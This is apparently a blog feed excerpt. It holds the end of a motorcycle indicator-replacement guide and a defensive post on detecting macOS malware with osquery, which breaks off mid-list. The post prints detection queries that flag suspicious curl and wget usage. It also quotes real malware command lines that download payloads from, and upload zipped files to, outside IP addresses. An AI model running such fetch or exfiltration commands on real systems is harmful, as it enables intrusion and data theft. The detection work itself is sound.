&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/YRgPWys8.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;With the broken cable cut, follow the cable to where it plugs into the bike. For the left indicator, it’s hidden under this clip that needs to be popped off. I used a pair of pliers, but if you hate your hands, you can do it with your fingers.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/OVu33Khx.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Step 3: Wiring in the new indicator&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Before doing anything else, you must thread the new connector through the tail light assembly. It’s a tight curve that might seem daunting initially, but it can be done!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/DG8HTx8F.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once you have the cable end through, put the protective cowl on the indicator to prepare it for attachment back to the light assembly:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/aVrr5tdj.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Grab a wrench and T25 torx bit to screw the indicator lamp into the main light assembly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/moRnxpkr.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Replace the tie wrap you cut within the license plate assembly:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/xqcArPAk.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now things are secure enough that you can safely plug the indicator wire in if you haven’t already, and give it a try before reassembly.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/VatboiFr.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Step 4: Panel Reassembly&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Now that you’ve confirmed the new light works, it’s time to put the bike back together!&lt;/p&gt;
&lt;p&gt;Start by reinstalling the license plate and light assembly back onto the mudguard with two T30 bolts on the outside. Attach the unusually short T25 bolt that lives below the cables (seen here between the 2nd and 3rd tie wrap from the left):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/p30OhcUV.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Verify the routing of your cables, and then replace the 4 tie wraps that you cut earlier:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/A8wLY6E3.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once everything seems correct, install the final T25 bolt for the tail light assembly, underneath the mud guard.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/LRhZrcBj.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now cut the tie wraps before we go back to the belt-side of the vehicle, where we will begin putting the other panels back in place. On the inner panel between the shock and the belt, screw in the top-right and bottom-most T25 screws.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/9SME1luq.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now reinstall the outer cover with 3 final T25 bolts. Screw the top bolt first, as the clasp may fall off - you may need to hold it in place with a pair of pliers.&lt;/p&gt;
&lt;p&gt;Reinstall any other remaining T25 bolts you might have unscrewed from the body. In my case, I also undid a T25 bolt from the front of the mud cover to give myself more room to remove the wheel:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/gCcvzzJO.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Step 5: Wheel Installation&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;At this point, your cables should be all routed properly, the body on, cables cut, bolts screwed in, and things looking clean overall:
&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/BwCS94o1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If so, lift the wheel into the right place, and screw the T50 torx bolts back in with a star pattern, finger tight first. Then come back with a torque wrench and tighten each bolt to 60nm (44ft/lb) in a star pattern.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/bmw-ce-04-indicator-replacement-procedure/h7iwTtGE.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now go ride that thing!&lt;/p&gt;
</content>
  </entry><entry>
    <title>Behavioral detection of macOS malware using osquery</title>
    <link href="https://choosehappy.dev/posts/2023/behavioral-detection-of-macos-malware-using-osquery/"/>
    <updated>2023-01-10T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/behavioral-detection-of-macos-malware-using-osquery/</id>
    <content xml:lang="en" type="html">&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/behavioral-detection-of-macos-malware-using-osquery/HrCc01yk.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As part of my duties at &lt;a href=&quot;https://chainguard.dev/&quot;&gt;Chainguard&lt;/a&gt;, I maintain an osquery based detection pipeline. As an open-source first company, we naturally open-sourced our production queries as part of the &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit&quot;&gt;osquery-defense-kit&lt;/a&gt;. When new Malware reports are released, I&#39;ll typically consume them to gather ideas for improving the effectiveness of our queries.&lt;/p&gt;
&lt;p&gt;With the new year upon us, Objective See recently published a &lt;a href=&quot;https://objective-see.org/blog/blog_0x71.html&quot;&gt;retrospective report on the most interesting Mac Malware of 2022&lt;/a&gt;. This was an excellent opportunity to review the evidence to see which queries are the most effective. I am additionally thankful that Objective See publishes Malware binaries for additional review, as some of the evidence this report relies on had to be extracted from the original binaries.&lt;/p&gt;
&lt;!--more--&gt;
&lt;h2&gt;Which queries found which Malware?&lt;/h2&gt;
&lt;p&gt;These are the top alerts from the &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit&quot;&gt;osquery-defense-kit&lt;/a&gt; that you should expect to fire if one of these Malware packages from the report are running on a host:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Malware&lt;/th&gt;
&lt;th&gt;Talkers&lt;/th&gt;
&lt;th&gt;ExecDir&lt;/th&gt;
&lt;th&gt;New Executable&lt;/th&gt;
&lt;th&gt;Launchd Arguments&lt;/th&gt;
&lt;th&gt;Shell Parents&lt;/th&gt;
&lt;th&gt;Sketchy Fetchers&lt;/th&gt;
&lt;th&gt;Tmp Executables&lt;/th&gt;
&lt;th&gt;Fetcher Parents&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.intezer.com/blog/incident-response/new-backdoor-sysjoker/&quot;&gt;SysJoker&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/&quot;&gt;DazzleSpy&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.trendmicro.com/en_us/research/22/b/latest-mac-coinminer-utilizes-open-source-binaries-and-the-i2p-network.html&quot;&gt;Coinminer&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/&quot;&gt;GIMMICK&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html&quot;&gt;oRat&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.sentinelone.com/labs/cratedepression-rust-supply-chain-attack-infects-cloud-ci-pipelines-with-go-malware/&quot;&gt;CrateDepression&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://blog.sonatype.com/new-pymafka-malicious-package-drops-cobalt-strike-on-macos-windows-linux&quot;&gt;pymafka&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.sentinelone.com/blog/from-the-front-lines-new-macos-covid-malware-masquerades-as-apple-wears-face-of-apt/&quot;&gt;VPN Trojan (Covid)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/?utm_source=twitter&amp;amp;utm_medium=cpc&amp;amp;utm_campaign=wls&amp;amp;utm_term=macos-spyware&quot;&gt;CloudMensis&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.trendmicro.com/pl_pl/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html&quot;&gt;rShell (Mimi)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://blog.talosintelligence.com/alchimist-offensive-framework/&quot;&gt;Insekt&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.trendmicro.com/en_us/research/22/k/pilfered-keys-free-app-infected-by-malware-steals-keychain-data.html&quot;&gt;KeySteal&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://www.reversinglabs.com/blog/sentinelsneak-malicious-pypi-module-poses-as-security-sdk&quot;&gt;SentinelSneak&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Other queries that you should expect to see triggered are: &lt;code&gt;exotic-commands&lt;/code&gt;, &lt;code&gt;unexpected-library-entries&lt;/code&gt;, and &lt;code&gt;fake-apple-launchd-entries&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Generically detecting Malware via behavior analysis&lt;/h2&gt;
&lt;p&gt;Almost uniformly, an intrusion on a macOS or Linux host is going to go through the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fetch: Get a program to install from an external source&lt;/li&gt;
&lt;li&gt;Drop: Place a program in a known writeable location within the filesystem&lt;/li&gt;
&lt;li&gt;Prepare: Modify the execution settings of that program (chmod +x, xattr -c)&lt;/li&gt;
&lt;li&gt;Execute: Run the newly installed program&lt;/li&gt;
&lt;li&gt;Persist: Configure persistence for that program across reboots&lt;/li&gt;
&lt;li&gt;Communicate: Contact an external host via TCP/IP&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Looking back at our table of matching queries, they all map to one of these stages. Let&#39;s dive into each of these stages and see what each query is doing under the hood.&lt;/p&gt;
&lt;h2&gt;Fetch: Finding Sketchy Fetchers&lt;/h2&gt;
&lt;p&gt;This is one of my personal favorite queries. The first step in nearly every
infection is to download additional stages, and the most popular way to do this without any additional code is &lt;a href=&quot;https://curl.se/&quot;&gt;curl&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;When an attacker invokes curl, they typically do so with quirks that make it stand out from other callers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-k&lt;/code&gt; is used to turn off SSL validation&lt;/li&gt;
&lt;li&gt;Flags such as &lt;code&gt;--connect-timeout&lt;/code&gt; are often used to improve reliability on poor connections&lt;/li&gt;
&lt;li&gt;Non-standard ports are used&lt;/li&gt;
&lt;li&gt;The target is often an IP&lt;/li&gt;
&lt;li&gt;When the target is DNS, it is often in an atypical TLD&lt;/li&gt;
&lt;li&gt;Rarely, but occasionally runs curl or wget as root&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Can you combine all these quirks into a single query? The answer is yes!&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  pe.pid,
  TRIM(pe.cmdline),
  REGEX_MATCH (pe.cmdline, &#39;(&#92;w+:&#92;/&#92;/.*)&#92;b&#39;, 1) AS url,
  REGEX_MATCH (pe.cmdline, &#39;//(&#92;d+&#92;.&#92;d+&#92;.&#92;d+&#92;.&#92;d+)[:/]&#39;, 1) AS ip,
  REGEX_MATCH (pe.cmdline, &#39;:(&#92;d+)&#39;, 1) AS port,
  REGEX_MATCH (pe.cmdline, &#39;//([&#92;w&#92;-&#92;.]+)[:/]&#39;, 1) AS addr,
  REGEX_MATCH (pe.cmdline, &#39;//[&#92;w&#92;-&#92;.]+&#92;.(&#92;w+)[:/]&#39;, 1) AS tld,
  pe.cwd,
  pe.euid,
  p.cgroup_path,
  pp.path AS parent_path,
  TRIM(pp.cmdline) AS parent_cmdline
FROM
  process_events pe
  LEFT JOIN processes p ON pe.pid = p.pid
  LEFT JOIN processes pp ON pe.parent = pp.pid
WHERE
  pe.time &amp;gt; (strftime(&#39;%s&#39;, &#39;now&#39;) -86400)
  AND (
    INSTR(pe.cmdline, &#39;wget &#39;) &amp;gt; 0
    OR INSTR(pe.cmdline, &#39;curl &#39;) &amp;gt; 0
  )
  AND (
    ip NOT IN (&#39;&#39;, &#39;127.0.0.1&#39;, &#39;::1&#39;)
    OR port != &#39;&#39;
    OR tld NOT IN (
      &#39;&#39;,
      &#39;app&#39;,
      &#39;ca&#39;,
      &#39;cloud&#39;,
      &#39;com&#39;,
      &#39;de&#39;,
      &#39;dev&#39;,
      &#39;edu&#39;,
      &#39;fun&#39;,
      &#39;gov&#39;,
      &#39;io&#39;,
      &#39;md&#39;,
      &#39;mil&#39;,
      &#39;net&#39;,
      &#39;org&#39;,
      &#39;se&#39;,
      &#39;sh&#39;,
      &#39;so&#39;,
      &#39;uk&#39;
    )
    OR pe.cmdline LIKE &#39;%.onion%&#39;
    OR pe.cmdline LIKE &#39;%curl -k%&#39;
    OR pe.cmdline LIKE &#39;%curl -sL %&#39;
    OR pe.cmdline LIKE &#39;%curl%--connect-timeout%&#39;
    OR pe.cmdline LIKE &#39;%curl%--output /dev/null%&#39;
    OR pe.cmdline LIKE &#39;%curl%--O /dev/null%&#39;
    OR pe.cmdline LIKE &#39;%curl%--insecure%&#39;
    OR pe.cmdline LIKE &#39;%curl%-o-%&#39;
    OR pe.cmdline LIKE &#39;%wget %--user-agent%&#39;
    OR pe.cmdline LIKE &#39;%wget %--no-check-certificate%&#39;
    OR pe.cmdline LIKE &#39;%wget -nc%&#39;
    OR pe.cmdline LIKE &#39;%wget -t%&#39;
    OR pe.euid &amp;lt; 500
  )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The full query can be found here: &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/execution/sketchy-fetcher-events.sql&quot;&gt;sketchy-fetcher-events.sql&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here are some examples of how the macOS malware from 2022 is invoking fetchers in a way that matches the above query:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gimmick: &lt;code&gt;curl -o %s http://cgi1.apnic.net/cgi-bin/my-ip.php --connect-timeout 10 -m 20&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;pymafka: &lt;code&gt;curl -A O -o- -L http://39.107.154[.]72/env&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SentinelSneak: &lt;code&gt;curl -k -F &amp;quot;file=@&amp;quot; &amp;lt;zip&amp;gt; https://54.254.189[.]27/api/v1/file/upload&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;oRAT: &lt;code&gt;curl -sL https://d.github[.]wiki/mac/darwinx64 -O&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It&#39;s worth noting that this query includes &lt;code&gt;processes.cgroup_path&lt;/code&gt;, which can be useful to filter out containerized applications on Linux, as they will often be run from lower euids.&lt;/p&gt;
&lt;h2&gt;Drop: Executables in temporary directories&lt;/h2&gt;
&lt;p&gt;It&#39;s very rare for executables to be found in &lt;code&gt;/tmp&lt;/code&gt; or &lt;code&gt;/var/tmp&lt;/code&gt;, particularly on macOS; the former is deleted on reboot. It is however popular for Malware to store binaries here, as it is reliably writeable across UNIX platforms, as folks rarely poke around these folders.&lt;/p&gt;
&lt;p&gt;In the examples we examined above, there are a few examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pymafka: &lt;code&gt;/var/tmp/zad&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;CoinMiner: &lt;code&gt;/tmp/lauth&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;DazzleSpy: &lt;code&gt;/tmp/airportpaird&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;CrateDepression: &lt;code&gt;/tmp/git-updater.bin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;MiMi: &lt;code&gt;/tmp/rshell&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Alchimist: &lt;code&gt;/tmp/Res/Payload&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Gimmick: &lt;code&gt;/tmp/*&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here&#39;s a query that should find all of those examples and more:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  file.path,
  uid,
  gid,
  mode,
  REGEX_MATCH (RTRIM(file.path, &#39;/&#39;), &#39;.*&#92;.(.*?)$&#39;, 1) AS extension,
  file.mtime,
  file.size,
  hash.sha256,
  magic.data
FROM
  file
  LEFT JOIN hash on file.path = hash.path
  LEFT JOIN magic ON file.path = magic.path
WHERE
  (
    file.directory = &#39;/tmp&#39; OR
    file.directory LIKE &#39;/tmp/%%&#39;
    file.directory = &#39;/var/tmp&#39; OR
    file.directory LIKE &#39;/var/tmp/%%&#39;
  )
  AND file.type = &#39;regular&#39;
  AND size &amp;gt; 10
  -- Don&#39;t alert if the file is only on disk for a moment
  AND (strftime(&#39;%s&#39;, &#39;now&#39;) - ctime) &amp;gt; 30
  AND (
    file.mode LIKE &#39;%7%&#39;
    or file.mode LIKE &#39;%5%&#39;
    or file.mode LIKE &#39;%1%&#39;
  )
  -- macOS updates
  AND NOT file.directory LIKE &#39;/tmp/msu-target-%&#39;
  -- Other programs
  AND NOT file.path LIKE &#39;/tmp/ko/bin/%&#39;
  AND NOT extension IN (&#39;sh&#39;, &#39;json&#39;)
  AND NOT file.name IN (&#39;configure&#39;, &#39;mkinstalldirs&#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you have developers, you may need to tune this carefully, as they will occasionally extract source code into /tmp and build code there if it is disposable. This behavior appears more common with Linux developers than macOS developers.&lt;/p&gt;
&lt;h2&gt;Execute: Unexpected Executable Directory&lt;/h2&gt;
&lt;p&gt;Malware typically drops an initial program in a known writeable directory that is not easily noticed. Malware authors rarely choose directories where other binaries are already installed. The gist of this query is: to detect which programs are running from places we don&#39;t usually see programs running from.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  p.pid,
  p.name,
  p.path,
  p.euid,
  p.gid,
  f.ctime,
  f.directory AS dir,
  REGEX_MATCH (
    REPLACE(f.directory, u.directory, &#39;~&#39;),
    &#39;(~/.*?/)&#39;,
    1
  ) AS top_homedir, -- 1 level deep
  p.cmdline,
  signature.identifier,
  signature.authority
FROM
  processes p
  LEFT JOIN file f ON p.path = f.path
  LEFT JOIN users u ON p.uid = u.uid
  LEFT JOIN signature ON p.path = signature.path
WHERE
  dir NOT IN (
    &#39;/bin&#39;,
    &#39;/opt/usr/bin&#39;,
    &#39;/opt/X11/bin&#39;,
    &#39;/opt/X11/libexec&#39;,
    &#39;/sbin&#39;,
    &#39;/usr/bin&#39;,
    &#39;/usr/lib&#39;,
    &#39;/usr/lib/bluetooth&#39;,
    &#39;/usr/lib/cups/notifier&#39;,
    &#39;/usr/libexec&#39;,
    &#39;/usr/libexec/ApplicationFirewall&#39;,
    &#39;/usr/libexec/AssetCache&#39;,
    &#39;/usr/libexec/firmwarecheckers&#39;,
    &#39;/usr/libexec/firmwarecheckers/eficheck&#39;,
    &#39;/usr/libexec/rosetta&#39;,
    &#39;/usr/lib/fwupd&#39;,
    &#39;/usr/lib/ibus&#39;,
    &#39;/usr/lib/system&#39;,
    &#39;/usr/local/bin&#39;,
    &#39;/usr/sbin&#39;
  )
  AND top_homedir NOT IN (
    &#39;~/Applications/&#39;,
    &#39;~/Applications (Parallels)/&#39;,
    &#39;~/go/&#39;,
    &#39;~/bin/&#39;
  )
  AND dir NOT LIKE &#39;/Applications/%&#39;
  -- Allow these anywhere (put last because it&#39;s slow to query signatures)
  AND signature.authority NOT IN (
    &#39;Apple iPhone OS Application Signing&#39;,
    &#39;Apple Mac OS Application Signing&#39;,
    &#39;Developer ID Application: Adobe Inc. (JQ525L2MZD)&#39;,
    &#39;Software Signing&#39;
  )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This query is low maintenance, but if you have a lot of developers, you may find yourself adding more home directory or temp directory exceptions. For an event-based version of this query, see &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/execution/unexpected-execdir-events-macos.sql&quot;&gt;execution/unexpected-execdir-events-macos.sql&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Execute: Unexpected New Executable&lt;/h2&gt;
&lt;p&gt;Malware will typically execute a program as soon as it hits the disk. It&#39;s pretty easy to write a query to see
which software was executed shortly after the executable birth time (btime) or inode change time (ctime).&lt;/p&gt;
&lt;p&gt;Here&#39;s a basic query you can use to see which programs were started within 2 minutes (120 seconds) of being installed and were started in the last day (86400 seconds).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT
  p.pid,
  p.path,
  p.name,
  p.cmdline,
  p.cwd,
  p.euid,
  p.parent,
  f.directory,
  f.ctime,
  f.btime,
  f.mtime,
  p.start_time,
  signature.authority,
  signature.identifier
FROM
  processes p
  LEFT JOIN file f ON p.path = f.path
  LEFT JOIN signature ON p.path = signature.path
WHERE
  p.start_time &amp;gt; 0
  AND f.ctime &amp;gt; 0
  AND p.start_time &amp;gt; (strftime(&#39;%s&#39;, &#39;now&#39;) - 86400)
  AND (p.start_time - MAX(f.ctime, f.btime)) &amp;lt; 120
  AND p.start_time &amp;gt;= MAX(f.ctime, f.ctime)
  AND signature.authority NOT IN (
    &#39;Apple Mac OS Application Signing&#39;,
    &#39;Developer ID Application: Adobe Inc. (JQ525L2MZD)&#39;,
    &#39;Software Signing&#39;
  )
  AND NOT p.path LIKE &#39;/Applications/%.app/%&#39;
  AND NOT (
    p.path LIKE &#39;/Users/%&#39;
    AND p.uid &amp;gt; 499
    AND f.ctime = f.mtime
    AND f.uid = p.uid
    AND p.cmdline LIKE &#39;./%&#39;
  )
 GROUP BY
  p.pid
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The false positives you typically see here are auto-updating software like Google Chrome. Before deploying this query, you&#39;ll want to update the list of
signature authorities you feel comfortable with. For the full query source, see &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/execution/unexpected-execdir-macos.sql&quot;&gt;execution/unexpected-execdir-macos.sql&lt;/a&gt;, and for the event-based version, see &lt;a href=&quot;https://github.com/chainguard-dev/osquery-defense-kit/blob/main/detection/execution/unexpected-execdir-events-macos.sql&quot;&gt;unexpected-execdir-events-macos.sql&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Execute: Unexpected Shell Parents&lt;/h2&gt;
&lt;p&gt;Malware will typically allow for command execution within a shell, which is
not something most software does. The path to the shell used may differ between Malware, but they typically fall into two camps:&lt;/p&gt;
&lt;ul&gt;
